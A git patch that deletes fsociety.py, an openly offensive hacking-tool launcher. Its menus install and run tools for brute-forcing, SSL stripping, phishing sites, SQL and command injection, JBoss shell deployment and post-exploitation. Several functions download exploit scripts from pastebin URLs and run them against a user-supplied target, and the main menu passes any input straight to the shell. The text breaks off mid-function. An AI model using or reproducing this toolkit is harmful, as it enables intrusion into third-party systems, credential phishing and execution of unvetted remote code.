From a7ace4cddb00ee30ddc8947b59b349a349244855 Mon Sep 17 00:00:00 2001 From: "Mr.programmer" <78996423+mrprogrammer2938@users.noreply.github.com> Date: Tue, 6 Jul 2021 19:16:03 +0430 Subject: [PATCH 1/2] Delete fsociety.py --- fsociety.py | 2100 --------------------------------------------------- 1 file changed, 2100 deletions(-) delete mode 100644 fsociety.py diff --git a/fsociety.py b/fsociety.py deleted file mode 100644 index 97419df..0000000 --- a/fsociety.py +++ /dev/null @@ -1,2100 +0,0 @@ -#!/usr/bin/env python2 -# ______ _ _ _______ -# | ____| (_) | | |__ __| -# | |__ ___ ___ ___ _ ___| |_ _ _ | | ___ __ _ _ __ ___ -# | __/ __|/ _ \ / __| |/ _ \ __| | | | | |/ _ \/ _` | '_ ` _ \ -# | | \__ \ (_) | (__| | __/ |_| |_| | | | __/ (_| | | | | | | -# |_| |___/\___/ \___|_|\___|\__|\__, | |_|\___|\__,_|_| |_| |_| -# __/ | -# |___/ -# -# -# Greet's To -# IcoDz - Canejo -# Tool For Hacking -# Author : Manisso - -''' -Imports -''' -import sys -import argparse -import os -import httplib -import subprocess -import re -import urllib2 -import socket -import urllib -import sys -import json -import telnetlib -import glob -import random -import Queue -import threading -import base64 -import time -import ConfigParser -from sys import argv -from commands import * -from getpass import getpass -from xml.dom import minidom -from urlparse import urlparse -from optparse import OptionParser -from time import gmtime, strftime, sleep - -''' -Common Functions -''' - - -class color: - HEADER = '\033[95m' - IMPORTANT = '\33[35m' - NOTICE = '\033[33m' - OKBLUE = '\033[94m' - OKGREEN = '\033[92m' - WARNING = '\033[93m' - RED = '\033[91m' - END = '\033[0m' - UNDERLINE = '\033[4m' - LOGGING = '\33[34m' - - -def clearScr(): - os.system('clear') - - -def yesOrNo(): - return (raw_input("Continue Y / N: ") in yes) - - -''' -Config -''' -installDir = os.path.dirname(os.path.abspath(__file__)) + '/' -configFile = installDir + "/fsociety.cfg" -print(installDir) -config = ConfigParser.RawConfigParser() -config.read(configFile) - -toolDir = installDir + config.get('fsociety', 'toolDir') -logDir = installDir + config.get('fsociety', 'logDir') -yes = config.get('fsociety', 'yes').split() -color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] -random.shuffle(color_random) -fsocietylogo = color_random[0] + ''' - d88888b .d8888. .d88b. .o88b. d888888b d88888b d888888b db db - 88' 88' YP .8P Y8. d8P Y8 `88' 88 88 `8b d8' - 88ooo `8bo. 88 88 8P 88 88ooooo 88 `8bd8' - 88 `Y8b. 88 88 8b 88 88 88 88 - 88 db 8D `8b d8' Y8b d8 .88. 88. 88 88 - YP `8888Y' `Y88P' `Y88P' Y888888P Y88888P YP YP - ''' -fsocietyPrompt = "fsociety ~# " -alreadyInstalled = "Already Installed" -continuePrompt = "\nClick [Return] to continue" - -termsAndConditions = color.NOTICE + ''' -I shall not use fsociety to: -(i) upload or otherwise transmit, display or distribute any -content that infringes any trademark, trade secret, copyright -or other proprietary or intellectual property rights of any -person; (ii) upload or otherwise transmit any material that contains -software viruses or any other computer code, files or programs -designed to interrupt, destroy or limit the functionality of any -computer software or hardware or telecommunications equipment; -''' + color.END - -mrrobot4 = color.NOTICE + ''' -Hello, - -As we all know, Mr. Robot 4.0 is comming out - the end of Mr. Robot. - -We will update to python3.7 & add all of the new hacking tool of 4.0 later this year -There will be no more updates after the show is done. -This is to keep cannon to the show.)) - -Thank you for all the sourport over the years, the fsociety team thanks you! -Feel free to join the NEW DISCORD!!! -Anything Mr. Robot will be on the server! - -[ https://discord.gg/xB87X9z ] - - - -Thanks for reading, -Zachary, CRO-THEHACKER - Dev''' - -''' -Starts Menu Classes -''' -def agreement(): - while not config.getboolean("fsociety", "agreement"): - clearScr() - print(termsAndConditions) - print(mrrobot4) - agree = raw_input("You must agree to our terms and conditions first (Y/n) ").lower() - if agree in yes: - config.set('fsociety', 'agreement', 'true') - -class fsociety: - def __init__(self): - clearScr() - self.createFolders() - print (fsocietylogo + color.RED + ''' - }--------------{+} Coded By Manisso {+}--------------{ - }--------{+} GitHub.com/Manisso/fsociety {+}--------{ - ''' + color.END + ''' - {1}--Information Gathering - {2}--Password Attacks - {3}--Wireless Testing - {4}--Exploitation Tools - {5}--Sniffing & Spoofing - {6}--Web Hacking - {7}--Private Web Hacking - {8}--Post Exploitation - {0}--INSTALL & UPDATE - {11}-CONTRIBUTORS - {99}-EXIT\n - ''') - choice = raw_input(fsocietyPrompt) - clearScr() - if choice == "1": - informationGatheringMenu() - elif choice == "2": - passwordAttacksMenu() - elif choice == "3": - wirelessTestingMenu() - elif choice == "4": - exploitationToolsMenu() - elif choice == "5": - sniffingSpoofingMenu() - elif choice == "6": - webHackingMenu() - elif choice == "7": - privateWebHacking() - elif choice == "8": - postExploitationMenu() - elif choice == "0": - self.update() - elif choice == "11": - self.githubContributors() - elif choice == "99": - with open(configFile, 'wb') as configfile: - config.write(configfile) - sys.exit() - elif choice == "\r" or choice == "\n" or choice == "" or choice == " ": - self.__init__() - else: - try: - print(os.system(choice)) - except: - pass - self.completed() - - def githubContributors(self): - clearScr() - print(''' - dP""b8 dP"Yb 88b 88 888888 88""Yb 88 88""Yb .dP"Y8 - dP `" dP Yb 88Yb88 88 88__dP 88 88__dP `Ybo." - Yb Yb dP 88 Y88 88 88"Yb 88 88""Yb o.`Y8b - YboodP YbodP 88 Y8 88 88 Yb 88 88oodP 8bodP' - ''') - contributorsURL = 'https://api.github.com/repos/manisso/fsociety/contributors' - jsonResponseList = json.loads(urllib2.urlopen(contributorsURL).read()) - for dictionary in jsonResponseList: - print(" * %s" % dictionary['login']) - print('\n') - - def createFolders(self): - if not os.path.isdir(toolDir): - os.makedirs(toolDir) - if not os.path.isdir(logDir): - os.makedirs(logDir) - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - def update(self): - os.system("git clone --depth=1 https://github.com/Manisso/fsociety.git") - os.system("cd fsociety && bash ./update.sh") - os.system("fsociety") - - -class sniffingSpoofingMenu: - menuLogo = ''' - .dP"Y8 88b 88 88 888888 888888 88 88b 88 dP""b8 - `Ybo." 88Yb88 88 88__ 88__ 88 88Yb88 dP `" - o.`Y8b 88 Y88 88 88"" 88"" 88 88 Y88 Yb "88 - 8bodP' 88 Y8 88 88 88 88 88 Y8 YboodP - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print( - " {1}--SEToolkit - Tool aimed at penetration testing around Social-Engineering") - print(" {2}--SSLtrip - MITM tool that implements SSL stripping attacks") - print( - " {3}--pyPISHER - Tool to create a mallicious website for password pishing") - print(" {4}--SMTP Mailer - Tool to send SMTP mail\n ") - print(" {99}-Back To Main Menu \n") - choice6 = raw_input(fsocietyPrompt) - clearScr() - if choice6 == "1": - setoolkit() - elif choice6 == "2": - ssls() - elif choice6 == "3": - pisher() - elif choice6 == "4": - smtpsend() - elif choice6 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class webHackingMenu: - menuLogo = ''' - Yb dP 888888 88""Yb - Yb db dP 88__ 88__dP - YbdPYbdP 88"" 88""Yb - YP YP 888888 88oodP - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print(" {1}--Drupal Hacking ") - print(" {2}--Inurlbr") - print(" {3}--Wordpress & Joomla Scanner") - print(" {4}--Gravity Form Scanner") - print(" {5}--File Upload Checker") - print(" {6}--Wordpress Exploit Scanner") - print(" {7}--Wordpress Plugins Scanner") - print(" {8}--Shell and Directory Finder") - print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution") - print(" {10}-Vbulletin 5.X remote code execution") - print( - " {11}-BruteX - Automatically brute force all services running on a target") - print(" {12}-Arachni - Web Application Security Scanner Framework \n ") - print(" {99}-Back To Main Menu \n") - choiceweb = raw_input(fsocietyPrompt) - clearScr() - if choiceweb == "1": - maine() - elif choiceweb == "2": - ifinurl() - elif choiceweb == '3': - wppjmla() - elif choiceweb == "4": - gravity() - elif choiceweb == "5": - sqlscan() - elif choiceweb == "6": - wpminiscanner() - elif choiceweb == "7": - wppluginscan() - elif choiceweb == "8": - shelltarget() - elif choiceweb == "9": - joomlarce() - elif choiceweb == "10": - vbulletinrce() - elif choiceweb == "11": - brutex() - elif choiceweb == "12": - arachni() - elif choiceweb == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class privateWebHacking: - menuLogo = ''' - 88""Yb 88""Yb 88 Yb dP db 888888 888888 - 88__dP 88__dP 88 Yb dP dPYb 88 88__ - 88""" 88"Yb 88 YbdP dP__Yb 88 88"" - 88 88 Yb 88 YP dP""""Yb 88 888888 - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - target = raw_input("Enter Target IP: ") - Fscan(target) - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class postExploitationMenu: - menuLogo = ''' - 88""Yb dP"Yb .dP"Y8 888888 - 88__dP dP Yb `Ybo." 88 - 88""" Yb dP o.`Y8b 88 - 88 YbodP 8bodP' 88 - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print(" {1}--Shell Checker") - print(" {2}--POET") - print(" {3}--Phishing Framework \n") - print(" {99}-Return to main menu \n ") - choice11 = raw_input(fsocietyPrompt) - clearScr() - if choice11 == "1": - sitechecker() - elif choice11 == "2": - poet() - elif choice11 == "3": - weeman() - elif choice11 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -''' -Information Gathering Tools Classes -''' - - -class informationGatheringMenu: - menuLogo = ''' - 88 88b 88 888888 dP"Yb - 88 88Yb88 88__ dP Yb - 88 88 Y88 88"" Yb dP - 88 88 Y8 88 YbodP - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - - print(" {1}--Nmap - Network Mapper") - print(" {2}--Setoolkit") - print(" {3}--Host To IP") - print(" {4}--WPScan") - print(" {5}--CMSmap") - print(" {6}--XSStrike") - print(" {7}--Doork") - print(" {8}--Crips\n ") - print(" {99}-Back To Main Menu \n") - choice2 = raw_input(fsocietyPrompt) - clearScr() - if choice2 == "1": - nmap() - elif choice2 == "2": - setoolkit() - elif choice2 == "3": - host2ip() - elif choice2 == "4": - wpscan() - elif choice2 == "5": - CMSmap() - elif choice2 == "6": - XSStrike() - elif choice2 == "7": - doork() - elif choice2 == "8": - crips() - elif choice2 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class nmap: - nmapLogo = ''' - 88b 88 8b d8 db 88""Yb - 88Yb88 88b d88 dPYb 88__dP - 88 Y88 88YbdP88 dP__Yb 88""" - 88 Y8 88 YY 88 dP""""Yb 88 - ''' - - def __init__(self): - self.installDir = toolDir + "nmap" - self.gitRepo = "https://github.com/nmap/nmap.git" - - self.targetPrompt = " Enter Target IP/Subnet/Range/Host: " - - if not self.installed(): - self.install() - self.run() - else: - self.run() - - def installed(self): - return (os.path.isfile("/usr/bin/nmap") or os.path.isfile("/usr/local/bin/nmap")) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("cd %s && ./configure && make && make install" % - self.installDir) - - def run(self): - clearScr() - print(self.nmapLogo) - target = raw_input(self.targetPrompt) - self.menu(target) - - def menu(self, target): - clearScr() - print(self.nmapLogo) - print(" Nmap scan for: %s\n" % target) - print(" {1}--Simple Scan [-sV]") - print(" {2}--Port Scan [-Pn]") - print(" {3}--Operating System Detection [-A]\n") - print(" {99}-Return to information gathering menu \n") - response = raw_input("nmap ~# ") - clearScr() - logPath = "logs/nmap-" + strftime("%Y-%m-%d_%H:%M:%S", gmtime()) - try: - if response == "1": - os.system("nmap -sV -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) - elif response == "2": - os.system("nmap -Pn -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) - elif response == "3": - os.system("nmap -A -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) - elif response == "99": - pass - else: - self.menu(target) - except KeyboardInterrupt: - self.menu(target) - - -class setoolkit: - def __init__(self): - self.installDir = toolDir + "setoolkit" - self.gitRepo = "https://github.com/trustedsec/social-engineer-toolkit.git" - - if not self.installed(): - self.install() - self.run() - else: - print(alreadyInstalled) - self.run() - response = raw_input(continuePrompt) - - def installed(self): - return (os.path.isfile("/usr/bin/setoolkit")) - - def install(self): - os.system("apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \ - python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl") - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("cd %s && python setup.py install" % self.installDir) - - def run(self): - os.system("setoolkit") - - -class host2ip: - host2ipLogo = ''' - 88 88 dP"Yb .dP"Y8 888888 oP"Yb. 88 88""Yb - 88 88 dP Yb `Ybo." 88 "' dP' 88 88__dP - 888888 Yb dP o.`Y8b 88 dP' 88 88""" - 88 88 YbodP 8bodP' 88 .d8888 88 88 - ''' - - def __init__(self): - clearScr() - print(self.host2ipLogo) - host = raw_input(" Enter a Host: ") - ip = socket.gethostbyname(host) - print(" %s has the IP of %s" % (host, ip)) - response = raw_input(continuePrompt) - - -class wpscan: - wpscanLogo = ''' - Yb dP 88""Yb .dP"Y8 dP""b8 db 88b 88 - Yb db dP 88__dP `Ybo." dP `" dPYb 88Yb88 - YbdPYbdP 88""" o.`Y8b Yb dP__Yb 88 Y88 - YP YP 88 8bodP' YboodP dP""""Yb 88 Y8 - ''' - - def __init__(self): - self.installDir = toolDir + "wpscan" - self.gitRepo = "https://github.com/wpscanteam/wpscan.git" - - if not self.installed(): - self.install() - clearScr() - print(self.wpscanLogo) - target = raw_input(" Enter a Target: ") - self.menu(target) - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - - def menu(self, target): - clearScr() - print(self.wpscanLogo) - print(" WPScan for: %s\n" % target) - print(" {1}--Username Enumeration [--enumerate u]") - print(" {2}--Plugin Enumeration [--enumerate p]") - print(" {3}--All Enumeration Tools [--enumerate]\n") - print(" {99}-Return to information gathering menu \n") - response = raw_input("wpscan ~# ") - clearScr() - logPath = "../../logs/wpscan-" + \ - strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" - wpscanOptions = "--no-banner --random-agent --url %s" % target - try: - if response == "1": - os.system( - "ruby tools/wpscan/wpscan.rb %s --enumerate u --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) - elif response == "2": - os.system( - "ruby tools/wpscan/wpscan.rb %s --enumerate p --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) - elif response == "3": - os.system( - "ruby tools/wpscan/wpscan.rb %s --enumerate --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) - elif response == "99": - pass - else: - self.menu(target) - except KeyboardInterrupt: - self.menu(target) - - -class CMSmap: - CMSmapLogo = ''' - dP""b8 8b d8 .dP"Y8 8b d8 db 88""Yb - dP `" 88b d88 `Ybo." 88b d88 dPYb 88__dP - Yb 88YbdP88 o.`Y8b 88YbdP88 dP__Yb 88""" - YboodP 88 YY 88 8bodP' 88 YY 88 dP""""Yb 88 - ''' - - def __init__(self): - self.installDir = toolDir + "CMSmap" - self.gitRepo = "https://github.com/Dionach/CMSmap.git" - - if not self.installed(): - self.install() - clearScr() - print(self.CMSmapLogo) - target = raw_input(" Enter a Target: ") - self.run(target) - response = raw_input(continuePrompt) - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - - def run(self, target): - logPath = "logs/cmsmap-" + \ - strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" - try: - os.system("python %s/cmsmap.py -t %s -o %s" % - (self.installDir, target, logPath)) - except: - pass - - -class XSStrike: - XSStrikeLogo = ''' - Yb dP .dP"Y8 .dP"Y8 888888 88""Yb 88 88 dP 888888 - YbdP `Ybo." `Ybo." 88 88__dP 88 88odP 88__ - dPYb o.`Y8b o.`Y8b 88 88"Yb 88 88"Yb 88"" - dP Yb 8bodP' 8bodP' 88 88 Yb 88 88 Yb 888888 - ''' - - def __init__(self): - self.installDir = toolDir + "XSStrike" - self.gitRepo = "https://github.com/UltimateHackers/XSStrike.git" - - if not self.installed(): - self.install() - clearScr() - print(self.XSStrikeLogo) - self.run() - response = raw_input(continuePrompt) - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("pip install -r %s/requirements.txt" % self.installDir) - - def run(self): - os.system("python %s/xsstrike" % self.installDir) - - -class doork: - doorkLogo = ''' - 8888b. dP"Yb dP"Yb 88""Yb 88 dP - 8I Yb dP Yb dP Yb 88__dP 88odP - 8I dY Yb dP Yb dP 88"Yb 88"Yb - 8888Y" YbodP YbodP 88 Yb 88 Yb - ''' - - def __init__(self): - self.installDir = toolDir + "doork" - self.gitRepo = "https://github.com/AeonDave/doork.git" - - if not self.installed(): - self.install() - clearScr() - print(self.doorkLogo) - target = raw_input(" Enter a Target: ") - self.run(target) - response = raw_input(continuePrompt) - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("pip install beautifulsoup4 requests Django==1.11") - - def run(self, target): - if not "http://" in target: - target = "http://" + target - logPath = "logs/doork-" + \ - strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" - try: - os.system("python %s/doork.py -t %s -o %s" % - (self.installDir, target, logPath)) - except KeyboardInterrupt: - pass - - -class crips: - cripsLogo = ''' - dP""b8 88""Yb 88 88""Yb .dP"Y8 - dP `" 88__dP 88 88__dP `Ybo." - Yb 88"Yb 88 88""" o.`Y8b - YboodP 88 Yb 88 88 8bodP' - ''' - - def __init(self): - self.installDir = toolDir + "Crips" - self.gitRepo = "https://github.com/Manisso/Crips.git" - - if not self.installed(): - self.install() - clearScr() - print(self.cripsLogo) - self.run() - - def installed(self): - return (os.path.isdir(self.installDir) or os.path.isdir("/usr/share/doc/Crips")) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("bash %s/install.sh" % self.installDir) - - def run(self): - try: - os.system("crips") - except: - pass - - -''' -Password Attack Tools Classes -''' - - -class passwordAttacksMenu: - menuLogo = ''' - 88""Yb db .dP"Y8 .dP"Y8 Yb dP 8888b. - 88__dP dPYb `Ybo." `Ybo." Yb db dP 8I Yb - 88""" dP__Yb o.`Y8b o.`Y8b YbdPYbdP 8I dY - 88 dP""""Yb 8bodP' 8bodP' YP YP 8888Y" - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print(" {1}--Cupp - Common User Passwords Profiler") - print( - " {2}--BruteX - Automatically bruteforces all services running on a target\n") - print(" {99}-Back To Main Menu \n") - choice3 = raw_input("passwd ~# ") - clearScr() - if choice3 == "1": - cupp() - elif choice3 == "2": - brutex() - elif choice3 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class cupp: - cuppLogo = ''' - dP""b8 88 88 88""Yb 88""Yb - dP `" 88 88 88__dP 88__dP - Yb Y8 8P 88""" 88""" - YboodP `YbodP' 88 88 - ''' - - def __init__(self): - self.installDir = toolDir + "cupp" - self.gitRepo = "https://github.com/Mebus/cupp.git" - - if not self.installed(): - self.install() - clearScr() - print(self.cuppLogo) - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - - def run(self): - os.system("python %s/cupp.py -i" % self.installDir) - - -''' -Wireless Testing Tools Classes -''' - - -class wirelessTestingMenu: - menuLogo = ''' - Yb dP 88 88""Yb 888888 88 888888 .dP"Y8 .dP"Y8 - Yb db dP 88 88__dP 88__ 88 88__ `Ybo." `Ybo." - YbdPYbdP 88 88"Yb 88"" 88 .o 88"" o.`Y8b o.`Y8b - YP YP 88 88 Yb 888888 88ood8 888888 8bodP' 8bodP' - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print(" {1}--reaver ") - print(" {2}--pixiewps") - print(" {3}--Bluetooth Honeypot GUI Framework \n") - print(" {99}-Back To The Main Menu \n") - choice4 = raw_input(fsocietyPrompt) - clearScr() - if choice4 == "1": - reaver() - elif choice4 == "2": - pixiewps() - elif choice4 == "3": - bluepot() - elif choice4 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class reaver: - def __init__(self): - self.installDir = toolDir + "reaver" - self.gitRepo = "https://github.com/t6x/reaver-wps-fork-t6x.git" - - if not self.installed(): - self.install() - clearScr() - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system( - "apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps") - os.system("cd %s/" % self.installDir) - os.system("./configure") - os.system("make") - os.system("sudo make install") - - def run(self): - os.system("reaver --help") - - -class pixiewps: - def __init__(self): - self.installDir = toolDir + "pixiewps" - self.gitRepo = "https://github.com/wiire/pixiewps.git" - - if not self.installed(): - self.install() - clearScr() - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("apt-get -y install build-essential") - os.system("make") - os.system("sudo make install") - - def run(self): - os.system("pixiewps --help") - - -class bluepot: - def __init__(self): - self.installDir = toolDir + "bluepot" - - if not self.installed(): - self.install() - clearScr() - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("apt-get install libbluetooth-dev") - os.system( - "wget -O - https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz | tar xfz -") - os.system("mv bluepot/ %s/" % self.installDir) - - def run(self): - os.system("sudo java -jar %s/BluePot-0.1.jar" % self.installDir) - - -''' -Exploitation Tools Classes -''' - - -class exploitationToolsMenu: - menuLogo = ''' - 888888 Yb dP 88""Yb 88 - 88__ YbdP 88__dP 88 - 88"" dPYb 88""" 88 .o - 888888 dP Yb 88 88ood8 - ''' - - def __init__(self): - clearScr() - print(self.menuLogo) - print(" {1}--ATSCAN") - print(" {2}--sqlmap") - print(" {3}--Shellnoob") - print(" {4}--commix") - print(" {5}--FTP Auto Bypass") - print(" {6}--JBoss-Autopwn") - print(" {7}--Blind SQL Automatic Injection And Exploit") - print(" {8}--Bruteforce the Android Passcode given the hash and salt") - print(" {9}--Joomla SQL injection Scanner \n ") - print(" {99}-Go Back To Main Menu \n") - choice5 = raw_input(fsocietyPrompt) - clearScr() - if choice5 == "1": - atscan() - elif choice5 == "2": - sqlmap() - elif choice5 == "3": - shellnoob() - elif choice5 == "4": - commix() - elif choice5 == "5": - gabriel() - elif choice5 == "6": - jboss() - elif choice5 == "7": - bsqlbf() - elif choice5 == "8": - androidhash() - elif choice5 == "9": - cmsfew() - elif choice5 == "99": - fsociety() - else: - self.__init__() - self.completed() - - def completed(self): - raw_input("Completed, click return to go back") - self.__init__() - - -class brutex: - def __init__(self): - self.installDir = toolDir + "brutex" - self.gitRepo = "https://github.com/1N3/BruteX.git" - - if not self.installed(): - self.install() - clearScr() - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - if not os.path.isdir("/usr/share/brutex"): - os.makedirs("/usr/share/brutex") - os.system("cd %s && chmod +x install.sh && ./install.sh" % self.installDir) - - def run(self): - target = raw_input("Enter Target IP: ") - os.system("brutex %s" % target) - - -class arachni: - def __init__(self): - self.installDir = toolDir + "arachni" - self.gitRepo = "https://github.com/Arachni/arachni.git" - - if not self.installed(): - self.install() - clearScr() - self.run() - - def installed(self): - return (os.path.isdir(self.installDir)) - - def install(self): - os.system("git clone --depth=1 %s %s" % - (self.gitRepo, self.installDir)) - os.system("cd %s/" % self.installDir) - os.system( - "gem install bundler && bundle install --without prof && rake install") - - def run(self): - target = raw_input("Enter Target Hostname: ") - os.system("arachni %s --output-debug 2> %sarachni/%s.log" % - (target, logDir, strftime("%Y-%m-%d_%H:%M:%S", gmtime()))) - -# Updated to Here - - -def weeman(): - print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).") - if yesOrNo(): - os.system( - "git clone --depth=1 https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py") - else: - fsociety() - - -def gabriel(): - print("Abusing authentication bypass of Open&Compact (Gabriel's)") - os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") - clearScr() - os.system("python gabriel.py") - ftpbypass = raw_input("Enter Target IP and Use Command:") - os.system("python gabriel.py %s" % ftpbypass) - - -def sitechecker(): - os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py") - clearScr() - os.system("python ch01.py") - - -def ifinurl(): - print(''' This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.''') - print('Do You Want To Install InurlBR ? ') - cinurl = raw_input("Y/N: ") - if cinurl in yes: - inurl() - else: - fsociety() - - -def bsqlbf(): - clearScr() - print("This tool will only work on blind sql injection") - cbsq = raw_input("select target: ") - os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") - os.system("perl bsqlbf.pl -url %s" % cbsq) - os.system("rm bsqlbf.pl") - - -def atscan(): - print ("Do You To Install ATSCAN ?") - if yesOrNo(): - os.system("rm -rf ATSCAN") - os.system( - "git clone --depth=1 https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl") - else: - fsociety() - - -def commix(): - print ("Automated All-in-One OS Command Injection and Exploitation Tool.") - print ("usage: python commix.py --help") - if yesOrNo(): - os.system( - "git clone --depth=1 https://github.com/stasinopoulos/commix.git commix") - os.system("cd commix") - os.system("python commix.py") - os.system("") - else: - informationGatheringMenu.completed("Commix") - - -def vbulletinrce(): - os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl") - os.system("perl tmp.pl") - - -def joomlarce(): - os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") - clearScr() - print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") - jmtarget = raw_input("Select a targets list:") - os.system("python temp.py %s" % jmtarget) - - -def inurl(): - dork = raw_input("select a Dork:") - output = raw_input("select a file to save:") - os.system( - "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) - webHackingMenu.completed("InurlBR") - - -def insinurl(): - os.system( - "git clone --depth=1 https://github.com/googleinurl/SCANNER-INURLBR.git") - os.system("chmod +x SCANNER-INURLBR/inurlbr.php") - os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl") - os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php") - clearScr() - inurl() - - -def jboss(): - clearScr() - print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") - print ("deployed, the script uses its upload and command execution capability to") - print ("provide an interactive session.") - print ("") - print ("usage: ./e.sh target_ip tcp_port ") - print("Continue: y/n") - if yesOrNo(): - os.system( - "git clone --depth=1 https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit() - else: - fsociety() - - -def wppluginscan(): - Notfound = [404, 401, 400, 403, 406, 301] - sitesfile = raw_input("sites file: ") - filepath = raw_input("Plugins File: ") - - def scan(site, dir): - global resp - try: - conn = httplib.HTTPConnection(site) - conn.request('HEAD', "/wp-content/plugins/" + dir) - resp = conn.getresponse().status - except Exception as message: - print("Cant Connect:" + message) - pass - - def timer(): - now = time.localtime(time.time()) - return time.asctime(now) - - def main(): - sites = open(sitesfile).readlines() - plugins = open(filepath).readlines() - for site in sites: - site = site.rstrip() - for plugin in plugins: - plugin = plugin.rstrip() - scan(site, plugin) - if resp not in Notfound: - print("+----------------------------------------+") - print("| current site:" + site) - print("| Found Plugin: " + plugin) - print("| Result:", resp) - - -def sqlmap(): - print ("usage: python sqlmap.py -h") - if yesOrNo(): - os.system( - "git clone --depth=1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") - else: - informationGatheringMenu.completed("SQLMap") - - -def grabuploadedlink(url): - try: - for dir in directories: - currentcode = urllib.urlopen(url + dir).getcode() - if currentcode == 200 or currentcode == 403: - print "-------------------------" - print " [ + ] Found Directory: " + str(url + dir) + " [ + ]" - print "-------------------------" - upload.append(url + dir) - except: - pass - - -def grabshell(url): - try: - for upl in upload: - for shell in shells: - currentcode = urllib.urlopen(upl + shell).getcode() - if currentcode == 200: - print "-------------------------" - print " [ ! ] Found Shell: " + \ - str(upl + shell) + " [ ! ]" - print "-------------------------" - except: - pass - - -def shelltarget(): - print("Exemple: http://target.com") - line = raw_input("target: ") - line = line.rstrip() - grabuploadedlink(line) - grabshell(line) - - -def poet(): - print("POET is a simple POst-Exploitation Tool.\n") - if yesOrNo(): - os.system("git clone --depth=1 https://github.com/mossberg/poet.git") - os.system("python poet/server.py") - else: - postExploitationMenu.completed("POET") - - -def ssls(): - print('''sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping - attacks. - It requires Python 2.5 or newer, along with the 'twisted' python module.''') - if yesOrNo(): - os.system("git clone --depth=1 https://github.com/moxie0/sslstrip.git") - os.system("apt-get install python-twisted-web") - os.system("python sslstrip/setup.py") - else: - 